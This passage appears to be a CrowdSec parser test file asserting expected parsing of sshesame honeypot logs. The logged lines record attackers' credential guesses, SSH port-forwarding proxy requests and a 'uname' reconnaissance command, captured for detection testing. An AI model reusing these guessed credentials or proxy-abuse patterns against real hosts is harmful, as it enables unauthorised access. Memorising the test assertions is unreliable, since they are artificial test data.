results["s00-raw"]["crowdsecurity/non-syslog"][117].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][117].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][117].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][118].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][118].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43318] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][118].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][118].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][118].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][119].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][119].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][119].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43316] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][119].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][119].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][120].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][120].Evt.Parsed["message"] == "2022/05/06 09:17:10 [3.16.59.158:43418] authentication for user \"root\" with password \"1212\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][120].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][120].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][120].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][121].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][121].Evt.Parsed["message"] == "2022/05/06 09:17:10 [3.16.59.158:43418] connection with client version \"SSH-2.0-libssh_0.9.5\" established" results["s00-raw"]["crowdsecurity/non-syslog"][121].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][121].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][121].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][122].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][122].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43420] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][122].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][122].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][122].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][123].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][123].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43420] connection with client version \"SSH-2.0-libssh_0.9.5\" established" results["s00-raw"]["crowdsecurity/non-syslog"][123].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][123].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][123].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][124].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][124].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43418] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][124].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][124].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][124].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][125].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][125].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43420] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][125].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][125].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][125].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][126].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][126].Evt.Parsed["message"] == "2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][126].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][126].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][126].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][127].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][127].Evt.Parsed["message"] == "2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] input: \"GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][127].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][127].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][127].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][128].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][128].Evt.Parsed["message"] == "2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] closed" results["s00-raw"]["crowdsecurity/non-syslog"][128].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][128].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][128].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][129].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][129].Evt.Parsed["message"] == "2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.143.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][129].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][129].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][129].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][130].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][130].Evt.Parsed["message"] == "2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][130].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][130].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][130].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][131].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][131].Evt.Parsed["message"] == "2022/05/06 09:23:01 [45.82.65.44:42736] [channel 27] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][131].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][131].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][131].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][132].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][132].Evt.Parsed["message"] == "2022/05/06 09:23:32 [45.82.65.44:42736] [channel 27] closed" results["s00-raw"]["crowdsecurity/non-syslog"][132].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][132].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][132].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][133].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][133].Evt.Parsed["message"] == "2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][133].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][133].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][133].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][134].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][134].Evt.Parsed["message"] == "2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] input: \"GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][134].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][134].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][134].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][135].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][135].Evt.Parsed["message"] == "2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] closed" results["s00-raw"]["crowdsecurity/non-syslog"][135].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][135].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][135].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][136].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][136].Evt.Parsed["message"] == "2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][136].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][136].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][136].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][137].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][137].Evt.Parsed["message"] == "2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] input: \"GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][137].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][137].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][137].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][138].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][138].Evt.Parsed["message"] == "2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] closed" results["s00-raw"]["crowdsecurity/non-syslog"][138].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][138].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][138].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][139].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][139].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] authentication for user \"!root\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][139].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][139].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][139].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][140].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][140].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][140].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] authentication for user \"!root\" with password \"\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][140].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][140].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][141].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][141].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] connection with client version \"SSH-2.0-libssh_0.11\" established" results["s00-raw"]["crowdsecurity/non-syslog"][141].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][141].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][141].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][142].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][142].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] direct TCP/IP forwarding from 127.0.0.1:6629 to 74.125.205.139:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][142].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][142].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][142].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][143].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][143].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][143].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][143].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][143].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][144].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][144].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][144].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][144].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][144].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][145].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][145].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] direct TCP/IP forwarding from 127.0.0.1:8451 to [2a00:1450:4010:c02::71]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][145].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][145].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][145].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][146].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][146].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][146].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][146].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][146].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][147].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][147].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][147].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][147].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][147].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][148].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][148].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][148].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][148].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][148].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][149].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][149].Evt.Parsed["message"] == "2022/05/06 09:44:27 [190.123.44.157:50934] authentication for user \"root\" with password \"1234!@#$\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][149].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][149].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][149].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][150].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][150].Evt.Parsed["message"] == "2022/05/06 09:44:27 [190.123.44.157:50934] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][150].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][150].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][150].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][151].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][151].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][151].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:51298] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][151].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][151].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][152].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][152].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:51298] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][152].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][152].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][152].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][153].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][153].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:51298] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][153].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][153].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][153].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][154].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][154].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:50934] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][154].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][154].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][154].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][155].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][155].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:50934] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][155].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][155].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][155].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][156].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][156].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:50934] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][156].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][156].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][156].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][157].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][157].Evt.Parsed["message"] == "2022/05/06 09:46:12 [92.38.176.30:58548] authentication for user \"tareq\" with password \"tareq\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][157].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][157].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][157].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][158].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][158].Evt.Parsed["message"] == "2022/05/06 09:46:12 [92.38.176.30:58548] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][158].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][158].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][158].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][159].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][159].Evt.Parsed["message"] == "2022/05/06 09:46:12 [92.38.176.30:58548] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][159].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][159].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][159].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][160].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][160].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][160].Evt.Parsed["message"] == "2022/05/06 09:46:13 [92.38.176.30:58768] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][160].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][160].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][161].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][161].Evt.Parsed["message"] == "2022/05/06 09:46:13 [92.38.176.30:58768] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][161].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][161].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][161].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][162].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][162].Evt.Parsed["message"] == "2022/05/06 09:46:13 [92.38.176.30:58768] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][162].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][162].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][162].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][163].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][163].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user \"zhaodandan\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][163].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][163].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][163].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][164].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][164].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user \"zhaodandan\" with password \"zhaodandan\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][164].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][164].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][164].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][165].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][165].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] connection with client version \"SSH-2.0-Go\" established" results["s00-raw"]["crowdsecurity/non-syslog"][165].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][165].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][165].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][166].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][166].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][166].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][166].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][166].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][167].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][167].Evt.Parsed["message"] == "2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][167].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][167].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][167].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][168].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][168].Evt.Parsed["message"] == "2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][168].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][168].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][168].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][169].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][169].Evt.Parsed["message"] == "2022/05/06 09:54:43 [165.232.183.156:46374] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][169].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][169].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][169].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][170].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][170].Evt.Parsed["message"] == "2022/05/06 10:01:04 [133.18.236.86:43326] authentication for user \"root\" with password \"Qq@12345\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][170].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][170].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][170].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][171].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][171].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][171].Evt.Parsed["message"] == "2022/05/06 10:01:04 [133.18.236.86:43326] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][171].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][171].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][172].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][172].Evt.Parsed["message"] == "2022/05/06 10:01:07 